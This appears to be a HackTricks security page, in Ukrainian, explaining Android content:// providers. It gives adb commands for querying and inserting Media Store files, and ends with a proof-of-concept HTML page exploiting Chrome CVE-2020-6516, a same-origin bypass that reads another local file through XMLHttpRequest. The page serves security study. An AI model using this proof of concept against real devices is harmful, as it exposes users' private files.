content:// protocol

Support HackTricks

Це резюме посту https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Перелік файлів у Media Store

Щоб перерахувати файли, які керуються Media Store, можна використовувати команду нижче:

$ content query --uri content://media/external/file

Для більш зручного для людини виводу, що відображає лише ідентифікатор та шлях до кожного проіндексованого файлу:

$ content query --uri content://media/external/file --projection _id,_data

Контент-провайдери ізольовані у власному приватному просторі імен. Доступ до провайдера вимагає специфічного content:// URI. Інформацію про шляхи доступу до провайдера можна отримати з маніфестів додатків або вихідного коду фреймворку Android.

Доступ Chrome до контент-провайдерів

Chrome на Android може отримувати доступ до контент-провайдерів через схему content://, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Щоб проілюструвати це, файл можна вставити в Media Store, а потім отримати до нього доступ через Chrome:

Вставте власний запис у Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Визначте ідентифікатор нововставленого файлу:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Файл можна переглянути в Chrome, використовуючи URL, побудований з ідентифікатора файлу.

Наприклад, щоб перерахувати файли, пов'язані з конкретним додатком:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Обхід політики однакового походження

Політика однакового походження (SOP) є протоколом безпеки в браузерах, який обмежує веб-сторінки у взаємодії з ресурсами з різних походжень, якщо це не дозволено явно політикою Cross-Origin-Resource-Sharing (CORS). Ця політика має на меті запобігти витоку інформації та підробці міжсайтових запитів. Chrome вважає content:// локальною схемою, що передбачає більш суворі правила SOP, де кожен URL локальної схеми розглядається як окреме походження.

Однак CVE-2020-6516 була вразливістю в Chrome, яка дозволяла обійти правила SOP для ресурсів, завантажених через URL content://. Фактично, JavaScript-код з URL content:// міг отримувати доступ до інших ресурсів, завантажених через URL content://, що становило значну загрозу безпеці, особливо на пристроях Android, що працюють на версіях раніше Android 10, де не було реалізовано обмежене зберігання.

Нижче наведено доказ концепції, який демонструє цю вразливість, де HTML-документ, після завантаження під /sdcard та додавання до Media Store, використовує XMLHttpRequest у своєму JavaScript для доступу та відображення вмісту іншого файлу в Media Store, обходячи правила SOP.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Підтримайте HackTricks

Last updated